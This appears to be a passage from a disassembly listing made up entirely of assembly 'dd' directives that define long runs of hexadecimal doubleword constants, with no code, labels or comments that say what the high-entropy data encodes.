		dd 55E3C8h, 617A47Ah, 1DDF1A02h, 3872583Ah, 0B25000C2h
		dd 0C3F8AB83h, 0EF04192Eh, 8768089Bh, 83AA3321h, 0C48A73E0h
		dd 787443h, 0D945E619h,	0F7047A49h, 12593F64h, 0A883B760h
		dd 119BF823h, 0AF30006Ch, 0B98E2283h, 24B40021h, 0F89CF120h
		dd 0EB601D6Ah, 0EC73C160h, 5AB580E8h, 18EE5D30h, 0C71CEA2h
		dd 70F8E9DFh, 0B9001450h, 39CDD427h, 6418354h, 11D75EF4h
		dd 70007176h, 402B8566h, 1849C008h, 202616C4h, 0B0005D8Fh
		dd 811272CFh, 14C7B73Fh, 6CEDE073h, 0B4011323h,	0B3F8A583h
		dd 31886918h, 0E98300ACh, 6B1003F9h, 706AAB5h, 0C96EFC77h
		dd 0C2C50370h, 34F6E449h, 0F31048h, 7C6B8555h, 0A35ED6h
		dd 0EAAAB6D1h, 0B30E8065h, 80BF113Ch, 1A5B3AE3h, 1EF2DA68h
		dd 71E404Fh, 51C10536h,	0E082FDC9h, 0F7153E2h, 58F3B500h
		dd 7C134659h, 3F0200CEh, 87D46035h, 0D003E5C5h,	40F9E148h
		dd 0C605F85Ch, 0B983D49h, 0D7D4A180h, 0EF6118DBh, 5CC47800h
		dd 6266E211h, 0E2E0ECDh, 7322EE26h, 3CC085A5h, 377A70CBh
		dd 0B602A900h, 0B38B34C1h, 84480022h, 586821ACh, 710E65ECh
		dd 0A90F50F4h, 78CE807Fh, 15B230h, 0B8125EDFh, 3FA4BA1h
		dd 0D3CE3307h, 650084BBh, 0FCD56230h, 8B220CA8h, 132819AFh
		dd 0DA31B960h, 3D75C4Dh, 45B830A7h, 1800BAE2h, 9B0ED490h
		dd 92783Fh, 0FB2C1FB5h,	30549F7Ah, 227D8E00h, 719ED059h
		dd 3F0100EAh, 6487FE63h, 277881E8h, 345D0B00h, 72FC8605h
		dd 0BF71C0BAh, 69E04236h, 7BB9AF00h, 453014AAh,	4B28006Fh
		dd 25AEB73h, 2460BACCh,	0BCD4E952h, 853B30F5h, 762AB040h
		dd 50D6C703h, 5B12FCh, 2FB2B459h, 57EC19ADh, 9A00E6ECh
		dd 0A24DC320h, 0C228CB8h, 6617762Ch, 18004B39h,	1B3054Ch
		dd 0F4985EBCh, 0C5190074h, 0A1B57704h, 0AB00D86Ch, 6AC0E754h
		dd 869AFEh, 3B934921h, 832ACC5Bh, 7636840Ch, 413085h, 5308D24Ah
		dd 0C5A2D4C9h, 5C8D3706h, 0CDA0C76h, 0AB58C8Fh,	18C0E3CCh
		dd 6CF8601Dh, 0E72F0285h, 4AD18FD0h, 0AB312880h, 0D8B08E24h
		dd 0B20D59F0h, 30A8ADB7h, 71883FE0h, 7996009Eh,	7BBA29EEh
		dd 0E20309EBh, 0B9DD84C9h, 0FC4CF8E9h, 35B60036h, 0A207F2EAh
		dd 5500BA87h, 68DECBCAh, 22F44h, 42737531h, 0BAE87FE9h
		dd 2B00FF78h, 348EDA7Ah, 1EA50563h, 595F7F2h, 4E86E8B4h
		dd 2D405590h, 2E84870Fh, 0E9B9C260h, 377934Ch, 4913CD37h
		dd 31A0E3D1h, 0FE74BE41h, 68FABB00h, 0F72B7217h, 5337000Ah
		dd 73F629D0h, 30C8B48h,	8D37147h, 0B21C3DCh, 1DA8F622h
		dd 3E380492h, 639C009Eh, 532188C3h, 180A00F0h, 1268470Eh
		dd 9014F89h, 96C34680h,	4D00459Ch, 0FF300651h, 6D173123h
		dd 0A02D01B6h, 0A816D776h, 32089986h, 0B6C47521h, 3A3000E1h
		dd 95EC960Eh, 70D9C1C8h, 29831458h, 75BB09A0h, 81E9780Dh
		dd 0EA471828h, 7816EB23h, 4A6A00C0h, 0AB501106h, 971DF426h
		dd 6E182763h, 772D121h,	0B9D7B60Ch, 977D00B7h, 0DE0C9CC4h
		dd 78D965B4h, 0DBA11FC3h, 0E7E30C47h, 48C01D0h,	0A020B67Ah
		dd 200C627Eh, 0FCB68268h, 0AC2A2800h, 0A4FE7A8Ah, 42400022h
		dd 51031EF1h, 0F400B1B3h, 412F3466h, 0FF36307h,	0DE2E12B6h
		dd 1F4EA920h, 0F20CE42Bh, 5847CF21h, 13330037h,	7FBC4A56h
		dd 0D2372373h, 213C0836h, 561A0080h, 0CAB3948Fh, 50F62D3Ah
		dd 0D555A418h, 1470A9D8h, 0AC4811C0h, 0D852BE15h, 59FEB2ECh
		dd 8CDE9504h, 0CC00D151h, 0FCB7D0B0h, 1097AF01h, 8893C32Ah
		dd 484C69A8h, 0FC7887F8h, 796E0043h, 0FE73B0BBh, 4807202Ah
		dd 0FFDE8846h, 0E89684F0h, 606E4889h, 8CDEBCh, 0A910DF0Ch
		dd 7FE17F5h, 8885081Eh,	0D60EC340h, 497543AEh, 2A330821h
		dd 6AB8D98h, 0A870E101h, 0E13EBF5h, 2605A970h, 0EE891B6h
		dd 0B3206FFEh, 0BCDC0FF9h, 0C2029F07h, 2460C421h, 34CA903Dh
		dd 8493642h, 71C01AACh,	71A029B6h, 618085D6h, 7B7DB679h
		dd 0E18158B4h, 0ACC2AD14h, 4291480Eh, 176965E1h, 0D8885974h
		dd 482371F6h, 0DB117Bh,	0E2F62435h, 0C8BDF84h, 3A20A4BFh
		dd 0EC00DBA8h, 21CB38E9h, 30AD4CBEh, 53C08F6Ch,	83A41C6h
		dd 6F401266h, 9A2FB800h, 0F65DE8h, 8A0322C7h, 946E296h
		dd 0A4FE8450h, 401DF430h, 6F5BBCDBh, 8360583Ch,	0E789C096h
		dd 12AEF313h, 0C0454808h, 4874F620h, 0DA222346h, 0F6253600h
		dd 9D591CBAh, 18D97780h, 21C22A35h, 440047F1h, 3BC6D5C1h
		dd 112CEADh, 394299CFh,	0A8EF0A3Ah, 0F60C3C29h,	1017A05Dh
		dd 1909810h, 2355E4F4h,	5B7538h, 28A4CDF0h, 0F8BCDE7Dh
		dd 0C51E974h, 0BD08F771h, 0D0352186h, 39C26910h, 6524C223h
		dd 89EC9541h, 523092DFh, 9024C40Fh, 0F373C00Ch,	8301C4B0h
		dd 4F8F4516h, 0A024AF4Dh, 7B8401AEh, 7443E094h,	97518790h
		dd 394C5AF5h, 0FB6B861h, 0B204E4Bh, 631E1Ch, 0A45E4DFBh
		dd 9631C1FDh, 11E7107h,	0A13288E0h, 95E0F808h, 7B6883Ah
		dd 1590F63Ch, 18A49FC6h, 0DB795CE9h, 1B80918Ch,	0C0E4B91Bh
		dd 0CD065563h, 38CF9A18h, 487FD199h, 1F7CD2BAh,	2EA6F4h
		dd 4A540C5Ch, 0B975A022h, 346548h, 48AE2F1Fh, 61C75771h
		dd 2A7858AAh, 0A86183CAh, 988FF58Bh, 134A1Fh, 30EA6BC0h
		dd 4C36FD71h, 0DF61B304h, 7CC12053h, 0F007CDD1h, 0D3C2AA70h
		dd 0A862F01Fh, 734F439Eh, 601A099h, 1EB96BB7h, 6FF3AEh
		dd 327E63E8h, 76303872h, 0BCDDF111h, 50CB60D1h,	90400568h
		dd 8D33C001h, 5FE952BAh, 0E5982980h, 9C799B6Bh,	967DB700h
		dd 4C2946CFh, 3B3C0918h, 38026D11h, 988A2A3Dh, 0A90518F4h
		dd 0D92EC419h, 3907BB99h, 0D4B07B45h, 0D5ED94h,	0EC34C061h
		dd 0B6840B2Fh, 1B604200h, 575D91A0h, 0BDA10016h, 901A088Ch
		dd 0F101370Fh, 0FDE264CFh, 0C740FB3Eh, 0EEB13D6Fh, 92E9009Ch
		dd 2C90BF20h, 7F07155Bh, 0B529DAE5h, 5552F2B0h,	0FDA600D7h
		dd 0C491467Eh, 0D6001A93h, 0A1B89EE4h, 73FA3Dh,	63D3AC16h
		dd 8D89B92Ch, 834B8200h, 0BEE856A2h, 75693C5Ah,	0C034151Fh
		dd 0C51A9C7h, 0F8795F81h, 92C18C07h, 90501BFBh,	0EB127Dh
		dd 546FBBE5h, 0C2A6FFBFh, 44CB4F00h, 0D10C84F6h, 390F0EB6h
		dd 45F8FD9h, 0C070D238h, 99DB1EBh, 0E3FD7200h, 6E1467DFh
		dd 0F34C487Dh, 30B542Eh, 7452CEF0h, 0A1A444B0h,	0D5516100h
		dd 7D83337Eh, 0D0E500F5h, 1E21F372h, 0F2001FE9h, 1CB3873Dh
		dd 0E047BB48h, 0DAD80055h, 7FB1EE51h, 29C02F64h, 56A0B7AEh
		dd 0D7D4003Fh, 69E47288h, 7114AA57h, 79AC13C1h,	0BC317C00h
		dd 930D754Eh, 0EB9E1434h, 5600B478h, 2D063A32h,	900DFD0h
		dd 7A77E8C5h, 0EE81A560h, 99681845h, 159A51D2h,	4F007C73h
		dd 7A7EECA8h, 1EC3360Ch, 0C091F14Ch, 0CEE210AAh, 0D004B50h
		dd 0CF8584BFh, 7D5BDDh,	77558920h, 0A08A5926h, 4602DC00h
		dd 1E19F795h, 0AC060010h, 31354EAFh, 0ABE49D25h, 43B37F2h
		dd 0E10B8062h, 0BDBC2127h, 8A7A2669h, 0FF4300D3h, 0F5462E02h
		dd 320E0379h, 403CEB84h, 333FF0F7h, 1D0E289h, 0D952B3D7h
		dd 70EEE4F5h, 2B03C25Ch, 2CE50C40h, 0F9190D4h, 0BB6F3FDEh
		dd 2F1E97h
		dd 4699A6F1h, 0F81F74C0h, 0B34F61A3h, 6D2140EEh, 0EEC8671Fh
		dd 0D6E4503Fh, 0C0F80041h, 114AAD4h, 6E00921Ch,	8D2C97F5h
		dd 127E53Bh, 0CC54BFB9h, 0C84EC81Dh, 7900DF35h,	238F9238h
		dd 175B0A7Dh, 183D9h, 0E228DBCEh, 0E7012186h, 0BE972347h
		dd 0FBDCC350h, 0F9870C38h, 2C70C6A4h, 0E31C1807h, 32A0B39Dh
		dd 0FF9731h, 40F92E27h,	6F3AF24Ch, 30387B01h, 91ABDD1h
		dd 0EF8820h, 8B33606Ah,	0C3A2F221h, 14B04B00h, 0B73D4F20h
		dd 0B6720F58h, 6C2394EFh, 0B288E469h, 3007D581h, 3EFFF183h
		dd 0FF6BCC53h, 11BC7060h, 58880027h, 0B543B84Bh, 0BB00B747h
		dd 0A895DC52h, 90DD79AAh, 0E483000Ch, 9FEE62DEh, 4401CCF3h
		dd 8CCE686Dh, 4C70AB63h, 4DB90084h, 4135A90Dh, 4092D1CFh
		dd 7E15F700h, 0AF4FD598h, 0E7C45h, 1BA7F8D4h, 3530DAD6h
		dd 96F26C03h, 0B08A2F3Dh, 779489Ch, 284CD1B5h, 0B4B9E03Eh
		dd 55799F54h, 11908A60h, 2DB815h, 0B98B2519h, 85646971h
		dd 478BB0Fh, 0BA11A00Dh, 2ED9E056h, 1FB6A3DAh, 4F034136h
		dd 0D8C0936Fh, 271D426Dh, 81401B11h, 73C77DF1h,	5FAC00DCh
		dd 30BF250Bh, 3A1EE0E3h, 0FA69CFh, 0FCEE0C71h, 34B0502h
		dd 0DCE33444h, 0D3A8B399h, 30059FBh, 69ADB125h,	0B6A66Fh
		dd 5C943CC3h, 134E1A49h, 0B4331800h, 0D84C62B5h, 78430063h
		dd 7111DC01h, 0C748C14Eh, 9B8400F8h, 1553F654h,	0C263006Ah
		dd 9388FC62h, 4701FD8Ah, 65A5E17Bh, 944190D5h, 0DBC09467h
		dd 0E12984Bh, 5A224CEEh, 4026D6Bh, 0D340D34Fh, 0A028AD97h
		dd 280B904Bh, 4C1323h, 7947C5C8h, 0D08950C8h, 63A8C1D5h
		dd 0E4DC7012h, 202D003h, 261CBEABh, 0FE8C80A2h,	98BAE6CDh
		dd 0E59F0017h, 53586254h, 4E00E2ACh, 712597E8h,	60DB3B0Ah
		dd 91E65086h, 2E0052D2h, 1FA9C3Dh, 0C7F4B0h, 1C70C59Bh
		dd 46183056h, 0DCEF281Dh, 5A067998h, 448D120Dh,	19D443D6h
		dd 13A0EF23h, 0E5016483h, 31A1E6C8h, 16BD342h, 0D4BC74F5h
		dd 5C48D6AEh, 948C07Fh,	0D1F9036Ch, 2DE599Ch, 99038818h
		dd 544871CAh, 9B0028A2h, 50A18CB2h, 39B4ECFFh, 75E0F0h
		dd 6BA9C1F5h, 901B07BFh, 8F681000h, 665CE41Dh, 7E860918h
		dd 91803EDAh, 522BF7CAh, 396F3B00h, 29918EDBh, 0A35F6E1h
		dd 0CC86777Eh, 0CDA20388h, 61B8871Eh, 2B00A9ACh, 0FC3A3C42h
		dd 543C894h, 0AA2308D9h, 1AB8009Bh, 0BD55CA73h,	0E2FB5B03h
		dd 80C25D9Ah, 67DC18h, 36019689h, 0CA53F180h, 70EAAE03h
		dd 90A10FC3h, 16218979h, 0F5A09Ah, 292F8FB0h, 1300EEE9h
		dd 0B2D4251Dh, 1BC4C8Dh, 4A8EACBFh, 0E8FBD273h,	8500CD16h
		dd 2561E638h, 0CCB5E4h,	880EBA71h, 0FBED5C0Fh, 0CD783200h
		dd 18E86174h, 0C5651FD6h, 0A80F972h, 34F258A4h,	28004183h
		dd 29476D20h, 1635DBE0h, 3E0272h, 0D73C91E8h, 7A002EEEh
		dd 75CD4BC5h, 0F3BD18h,	0D1AC1292h, 65470D70h, 31512500h
		dd 5350801Fh, 0B35B00B0h, 9913C04Bh, 4200E1E3h,	57EBAA22h
		dd 24965DB7h, 3D806880h, 873E2700h, 4E857D15h, 62AC5A00h
		dd 0D0269207h, 0E12800BBh, 1A6034FAh, 8570EBA5h, 18A2082Eh
		dd 417DC02h, 4EA8C083h,	66D00B9h, 0F15F41ECh, 61C06C5Dh
		dd 7BD5F8E8h, 8225007Ah, 0C8D0CC5Eh, 0B16527Eh,	4109BD9Ah
		dd 5188A1D5h, 39806D85h, 16353CF4h, 281EC4F7h, 18F30632h
		dd 2680EDF6h, 1640DF5h,	0C5D32E38h, 0E01CA83Dh,	10097E3h
		dd 88DF3130h, 0C3F90E6Ch, 0C5AD2930h, 1D71403Fh, 87B9E261h
		dd 4D73235h, 5D885E40h,	0ED520013h, 337F1902h, 0B708B93Ah
		dd 0C26B24DDh, 0E3E085ECh, 5E009541h, 0A38B4E15h, 5167ACh
		dd 140629E3h, 95C07476h, 4D11B71Dh, 35B64Eh, 0B9729637h
		dd 1F8F5C18h, 461B5707h, 288B33EAh, 0D78395F9h,	6E3BDAD0h
		dd 221CE01Dh, 0D54480BDh, 98454973h, 27F70071h,	0E27BCC57h
		dd 1D01925Ch, 0DF6F59C9h, 12CD2BDCh, 76DE8F0h, 969F3CA5h
		dd 0FFAEF7F3h, 33B5AA23h, 94988200h, 6673CA5Ah,	0B8770320h
		dd 0C6A49A4h, 622229E0h, 0E5008FF8h, 372ACEDAh,	0BA92DCh
		dd 4C277F2Dh, 0D67CFC8Ch, 80137600h, 7AA21828h,	0FF37003Dh
		dd 656C6489h, 0A000D596h, 9E5327F0h, 22395Dh, 0B5F2D1D7h
		dd 5E746F20h, 86052DF8h, 82B1CAD4h, 9AA2FC41h, 0BBE4D5B6h
		dd 89BA0032h, 7F511F2Ah, 0CD315684h, 0A3EA307Eh, 0A0B21870h
		dd 37B7F1Ch, 0BAA258D0h, 5AA0213Eh, 0E000C334h,	0CEB5266h
		dd 62D36C40h, 7C2948B4h, 83BA3C0Ah, 390A6E34h, 4A110FABh
		dd 0D1408151h, 29D53A95h, 55082D63h, 1D200070h,	0FB7C818Bh
		dd 53BD619h, 0BD4B0095h, 0D9478FD7h, 0ED571F5Ah, 0D3E18606h
		dd 304660CAh, 6C813F02h, 1C45D1h, 8981416Bh, 661FEC3Ch
		dd 35BDE00h, 8AEF4369h,	0FECD0740h, 805087F2h, 0DD714A59h
		dd 0AABEC60Eh, 7C2AE6ACh, 0EA9B0710h, 40CD9410h, 6E74C70Ah
		dd 1F7E0100h, 9728E802h, 6F093B78h, 88170703h, 82C830FEh
		dd 3FFC9F85h, 0BED8EB00h, 2AA83E20h, 7EF61ED9h,	0F3714E92h
		dd 9E420F3Eh, 6C187900h, 1C0020F7h, 354A117Eh, 52401Eh
		dd 159CF9EAh, 0FE6846B5h, 6FC984A0h, 0D0199F0h,	80C4D09Dh
		dd 39DC7DFFh, 33D13A5Bh, 1061B100h, 5D812C11h, 17009EE4h
		dd 435A9C0Eh, 0E0870149h, 0F52700ECh, 96AB2B9Bh, 2D07C617h
		dd 1DB97C66h, 0CCFD5530h, 0E0CD18DBh, 6DB0288Bh, 82CF5D3Ah
		dd 0B975BC2h, 95BD8138h, 0B4E163B8h, 872F188Fh,	3F105AACh
		dd 9CF05F19h, 24D8F631h, 0D5AD0090h, 69881289h,	7F03B0C1h
		dd 665D212Eh, 6B68D8A4h, 364A0084h, 0C2AC39EDh,	53EA10Bh
		dd 4CE1018Ah, 0B408FEC5h, 576145Ah, 284D966Ah, 44C10E4h
		dd 0EEC481FFh, 84048D9h, 0A0D27AF0h, 582CB4h, 5F86D393h
		dd 0B440DAA9h, 0C9AFE300h, 0E6F05D76h, 961706C1h, 2981CF2Ch
		dd 74117542h, 8A221CAh,	4190872Eh, 44F05084h, 5B44BB4Eh
		dd 0D96D4488h, 44E18744h, 8844BCAAh, 8379488Ch,	1CF9F790h
		dd 0A9652D80h, 43634D1Eh, 0F4D4FA40h, 0F7F3ABDh, 9AFC8509h
		dd 95A1FE60h, 0D3003166h, 0C965618h, 3D55F172h,	6580F0BEh
		dd 0A48D41FFh, 5074C97h, 860BA1A7h, 672D2430h, 0F2B60030h
		dd 8D479663h, 0ED002BFBh, 0BB64C021h, 0E86682CEh, 4C4D0091h
		dd 0D40F24E6h, 0C80E79F6h, 60459094h, 0CF3D109h, 0A8412E57h
		dd 0C6E2002Ch, 6B021CD9h, 11870633h, 9B85D8D5h,	0FEF62EDFh
		dd 0ED7B0F6Bh, 0F1CE4B5h, 0CB6ECA8Eh, 6C3E008Ch, 0DEE1C857h
		dd 71307800h, 3D7723E4h, 70890028h, 0FC9AE61Ah,	0C600AB45h
		dd 2EEA5E7Ah, 5C0F5F75h, 8207EE5Dh, 0D0123ACDh,	0ECB90668h
		dd 0B500B17Dh, 9D469AF9h, 24D403Dh, 28EE9907h, 15423706h
		dd 0C72085h, 0F3578C90h, 197EF147h, 0DB34141Ch,	3F0FCF85h
		dd 610C4F80h, 0BD6907D9h, 0A8506Ch, 55DF203h, 0D4878828h
		dd 90966Bh, 162F938Dh, 24C900D5h, 111E0CE2h, 0A800D491h
		dd 14CA069Ch, 5C7E2E10h, 2F00B6B3h, 5A8A8CDBh, 3400FFF8h
		dd 32CD584Eh, 1D73A0DAh, 40C60168h, 0A6CB3C76h,	0E400ED09h
		dd 89FCE286h, 38C52775h, 53801C30h, 21D6DDBFh, 0FD00DA88h
		dd 9FE3136Ch, 0FD760DC7h, 791BBC40h, 60637E21h,	0F704C9B1h
		dd 443841DDh, 0E5118008h, 5C4674C8h, 0DB6700E9h, 2BA13049h
		dd 349801B9h, 0C0D22C00h, 0AA800305h, 7A550038h, 0CEB21221h
		dd 0AEF04110h, 3EB13E2Ch
		dd 0AB6B4000h, 269CF32h, 0C89B8FD9h, 94809D58h,	90AF6712h
		dd 0FCC60E3h, 0FDAB1312h, 0A26F1C00h, 0A5FA82h,	0C59EE496h
		dd 1EDC9B66h, 7838AF01h, 3168B16Ah, 20AA2820h, 0DA00C31Bh
		dd 53506E24h, 3F06ADDEh, 7F0FF3A1h, 1E20BA7Eh, 8A588DE5h
		dd 0C1AFC902h, 4037A64Dh, 1434ACh, 5A473BB0h, 2B9085E3h
		dd 0AF718CF8h, 5C91703h, 0C0950F86h, 0CC09C2h, 1B0D7ACBh
		dd 2C79E55Ah, 27038AF8h, 50809F8Ch, 615905Eh, 28220098h
		dd 5FAD7054h, 1F3DA12Fh, 0FDA487B3h, 69701AC3h,	95889h
		dd 862EF1Eh, 0D650E2F4h, 0DAE8B41Eh, 521E080h, 0DC672Bh
		dd 2A6AEB23h, 0B89EA68Eh, 0B934F00Fh, 56001C06h, 5D419DC5h
		dd 6844486Ah, 4B038C38h, 1795A059h, 0A131E5F8h,	79742300h
		dd 498954E0h, 0E9727Bh,	8A5D161h, 0D8B55C33h, 0F1ACA31Ch
		dd 40399040h, 3B3603B6h, 0D41D81E3h, 7D4C806Ah,	0DD612489h
		dd 0B9287F12h, 18B00C09h, 0ECC64AA0h, 9F070074h, 24E8065Ah
		dd 0E400C210h, 15D4C595h, 0E9725DBh, 28CEFE27h,	4E4760Ah
		dd 1C28542h, 0DF67E462h, 6FEC30h, 4846D96Ah, 25E9E84h
		dd 50208030h, 85D524h, 3608C80Dh, 54B296BFh, 238EC000h
		dd 438679AEh, 0A44E4C26h, 41E99C00h, 75D61FE3h,	0CC069203h
		dd 80D4D550h, 43C6B2Bh,	31E109BBh, 15FA82B8h, 0DDD70060h
		dd 0C118A306h, 809A22h,	0C08FF4B3h, 0E44859CEh,	6BA430C0h
		dd 1DA02Eh, 64101561h, 572118FEh, 31016E7Ch, 0AE923EF3h
		dd 0FFD6693h, 3E071D0h,	17A18598h, 0BEE86FE6h, 0C60045EFh
		dd 0FFB1B24Dh, 2B96F9h,	12E3A160h, 200E71DFh, 0EE775100h
		dd 0DE95B04Bh, 0DC010031h, 0BAB85041h, 0A601FFCBh, 0F6E350Eh
		dd 10D8BD64h, 2DBF003Ah, 0E2F5699Bh, 7900DCA3h,	116EF28Dh
		dd 561FBA6h, 0B7553C5Dh, 13D2C035h, 0D005036h, 12797144h
		dd 90378BD2h, 0C00C1F4Eh, 3CF8F2Ah, 508CF727h, 0C5A2B9FCh
		dd 48905874h, 0BCA43Bh,	0CCCA33D3h, 4EB9535h, 3252E165h
		dd 0A3C80A2h, 0E700AB7Bh, 9834DA5Ah, 0E20113B0h, 0D25609A6h
		dd 4D8F2B19h, 8BF3F283h, 0F9A7B590h, 0C7311D00h, 39D5A2Ch
		dd 4E70E7h, 0BF056C1h, 399822D4h, 92D58502h, 40E2A45Dh
		dd 1F081Ch, 95BE2D01h, 3BE4F74Dh, 83D2CB38h, 51E23C7Bh
		dd 0D4A39067h, 1017681h, 8F4E20DAh, 41FEBD0Bh, 0C83A0AA6h
		dd 7C05C890h, 9A5CD6FDh, 6D64A880h, 0BA6003Fh, 0C730A24Dh
		dd 2C1FBEF1h, 44803516h, 63B8F334h, 0C488C1E1h,	0F868DDE6h
		dd 0A6E61951h, 60F0F7Fh, 20E830EEh, 0E12D331Dh,	0DDC60092h
		dd 1AE985EAh, 7C0FF5D5h, 9D60938Ah, 94AC0180h, 0FC904128h
		dd 11188099h, 0C05CCB59h, 3A651DC4h, 5D3C242Fh,	966E002Eh
		dd 0D849E46Ch, 73D03001h, 7735ED5Fh, 53ADC8h, 0D3CF14CBh
		dd 1FB4BE62h, 0D9432D00h, 0AB8C1C57h, 835A0B72h, 7C008B8Fh
		dd 0FAC311CBh, 0A2786200h, 184B554Dh, 70260040h, 0DC8A671Dh
		dd 4E26D4AAh, 0B6008947h, 0EB57A05Dh, 914203C8h, 2C077661h
		dd 2F09101h, 9C8CDAFDh,	72F12987h, 3E15708Eh, 46007AB0h
		dd 94D15820h, 3AD4D2Bh,	42502749h, 0A2901AAAh, 58005AF0h
		dd 7B1D4486h, 0F73D9Fh,	19A6D3E8h, 0D0A86178h, 0E9ED8A0Eh
		dd 0CB3FA0D5h, 7FFB34Eh, 0F80BCD6Ch, 813A84C1h,	3041C78Eh
		dd 0FB00E89Ch, 0C8BDED6Fh, 0CE6AFEh, 9A57451Eh,	0E6F814EAh
		dd 9C682B60h, 30D968D2h, 0C7C99934h, 0C79584Fh,	0E3014290h
		dd 6A179AA6h, 9C30D1E5h, 0D6AC2CD8h, 1B0A850h, 0C8D7E4Ch
		dd 0C77D902Bh, 0E4F88BE8h, 0A5DB48h, 0C96BD38Ah, 1B29922h
		dd 33699DBFh, 0E83F278Dh, 0C2001CC1h, 0C6F9A2D3h, 1BF57Bh
		dd 0B2D9B002h, 2D6AF3B4h, 3198B39h, 0D4CD6768h,	2EDBE093h
		dd 1D77C5Eh, 26C28FBCh,	0D402DDA1h, 631D3EB9h, 0A7DCF7A6h
		dd 1600685Eh, 0B8731D79h, 18CF002Eh, 10FB8C4Dh,	6C905096h
		dd 0B2000FF8h, 0FD45E804h, 2ED408h, 6C42E33Bh, 578325ACh
		dd 47B48102h, 4B96B1F2h, 0DB980ACh, 9434073Bh, 0EDA91Ah
		dd 4614EC58h, 0B46C24EFh, 0A64E9E10h, 0EDF84A80h, 0E100285Dh
		dd 34FDA90Fh, 0E7871Fh,	0E475DDC3h, 87D9C61h, 0E11A600h
		dd 1C7FDF6Ch, 315306B4h, 21C2C6D6h, 0E7A4CF09h,	5DACA049h
		dd 2A5EEEh, 79E9399Ah, 0CFB453C5h, 5A703C00h, 0DF0886D6h
		dd 300C7C5Fh, 8B9A5DA3h, 3B0911CFh, 40FC7792h, 0BE4100h
		dd 9FA29A98h, 0E048398Ah, 54B49560h, 758C29F3h,	0C75078Dh
		dd 0F37F7709h, 1E83D43h, 0A900D935h, 985F3FD3h,	0E76F65Eh
		dd 0D11CB714h, 0DBF07543h, 0E057ECC1h, 83006B44h, 3DAF3CB9h
		dd 1BE7CCh, 0CBE6ED75h,	0FDE28F8Dh, 0BA0E359h, 0D6B71FE8h
		dd 729F07DBh, 16CD80CEh, 7128C93Ch, 0EB00C306h,	0BF18BC78h
		dd 1D12569h, 5DAF087Ch,	0C567992Bh, 0A898ECF0h,	0FBFDB3Bh
		dd 80AE6AC0h, 0D8A68747h, 92F3003Eh, 245E326Bh,	6D00BB12h
		dd 8397FBC3h, 964E7759h, 0ED9880CCh, 93FDCD01h,	0CC265F02h
		dd 50042BD5h, 0CEAE2ABCh, 189900A8h, 36C21B49h,	5F00DC0Bh
		dd 0E052DFCAh, 2126B05h, 4F59D131h, 6C5840E2h, 1E0A3Fh
		dd 0C25F4720h, 0C08E5462h, 0EF4FA718h, 0CA07E0CCh, 0C3E692DAh
		dd 0B3EA16A0h, 0C01F00EDh, 0B5D96107h, 0E1313A6Ah, 25D41146h
		dd 385C7470h, 0C90037A6h, 6635E38Ah, 13E09624h,	0E000E54Ah
		dd 79F7726Ch, 738E0289h, 4E0CC756h, 0B649FE60h,	4A48F30Eh
		dd 0A2EF6062h, 5EE290h,	1B260F9h, 0CE630B55h, 64767E24h
		dd 19DEDA07h, 0A7C0B395h, 92C817Bh, 25F2E613h, 0E7362083h
		dd 0D7892800h, 8305ED16h, 37CE02BAh, 0A85D30A3h, 1C5A6C40h
		dd 0C6576200h, 7C96B348h, 270700B5h, 0B2E2EB69h, 5A7EFCCAh
		dd 0AFA91809h, 0E620C058h, 0FDDC0112h, 6B43A3AEh, 5B8BF8D1h
		dd 0C397850Fh, 7841478h, 0CCC93FE5h, 0D4077EF5h, 9F105A71h
		dd 0E2C365FBh, 0C06A001Dh, 0C6ABC99Ah, 4D01E6E8h, 0BF610D53h
		dd 0A5D46948h, 0D75000A8h, 84892CC3h, 8D13153Bh, 0F500064Ah
		dd 254BC95Fh, 7B4301E2h, 48F07D1Ch, 41C961D0h, 70411120h
		dd 0A4F4D750h, 4D001DF4h, 1CFE97BEh, 392E7Bh, 65594A5Dh
		dd 0E0A30E99h, 56943114h, 0DAE9008Ch, 86537341h, 0CFBB3FAFh
		dd 0A82AA000h, 0F127DD59h, 0B074BF28h, 71B5F000h, 0D24BC3C2h
		dd 0CCA80752h, 9048E3F7h, 1CEDAA14h, 8FB15609h,	0FBB46803h
		dd 0C67F660h, 12CD6893h, 3E5CA098h, 2C370F11h, 28758005h
		dd 2B837Eh, 0D0DAFF48h,	0B2453259h, 0AFEB800h, 0AE0CD958h
		dd 3E6D7050h, 5F864E69h, 0A80FB5CBh, 0C786B800h, 3CE361B4h
		dd 0D86460ACh, 58F24C05h, 0B6987EFAh, 809FAA39h, 0DAEBD45Fh
		dd 7F5278FCh, 452A004Fh, 0FFB1D89Dh, 3406FBD0h,	194EE942h
		dd 0DD1C3C78h, 0D792F680h, 38687BCBh, 5D270A04h, 0A380B3DBh
		dd 749FE660h, 0B5FF0F23h, 27219A80h, 716812A1h,	20D8D524h
		dd 0FC000D64h, 47744F3Eh, 0C0351BEAh, 0AA382D60h, 3665996Ah
		dd 79818810h, 21802CC4h, 0A1E00A33h, 70BAFC82h,	3D777F79h
		dd 97EE7890h, 0F1649D00h, 447DF775h, 365800ACh,	0FEBE24B8h
		dd 2B00DEC4h, 9E1E1586h, 0EC8E6D5Fh, 966A00B9h,	7858A6AEh
		dd 33031F60h, 7D28227Eh, 0AF46C8B8h, 4AE406h, 7A9E8F4h
		dd 0E68BEC8Eh, 4338DA02h, 60087284h, 9EA286Fh, 25C10C6Dh
		dd 0C05C840Fh, 88161502h, 0A000714Ch, 570C9823h, 3D8CFCF8h
		dd 5F07D0C3h, 0E2D625A9h
		dd 4CD02FFDh, 3621E10Fh, 87F380F1h, 790C3906h, 4FA000Ah
		dd 0ED0E2E91h, 4A5C4F80h, 2BB30014h, 32ABAB7h, 50653045h
		dd 18955819h, 5D1FDC1Ch, 3935F286h, 0E2591761h,	0A41C412Ah
		dd 0F44F29F4h, 670C056Ah, 0C012EE27h, 1C17695h,	6BED5575h
		dd 2D70A347h, 0DE4804B8h, 4340D94Fh, 0B279EAB3h, 56368BA0h
		dd 5A299D00h, 9B68DDFDh, 4B5C2449h, 0B2B10F44h,	82E0CF2Eh
		dd 0E4CD6402h, 0CF3260Eh, 84598030h, 1B8EFECh, 0A81701D9h
		dd 0E06E66E5h, 64FD8F5Dh, 43069C10h, 5B28635Ch,	0B2D700A8h
		dd 7AB13366h, 0FE02D81Dh, 4B60941Eh, 0EEEC6091h, 4C8A00D7h
		dd 6FF69A67h, 74008B08h, 0C81DC217h, 24531186h,	0C3690Bh
		dd 8F241A09h, 0A700CE93h, 8421C156h, 62E85138h,	27DA8871h
		dd 88F10624h, 66F85A61h, 0E18807A7h, 905A523Ch,	0B562767Ah
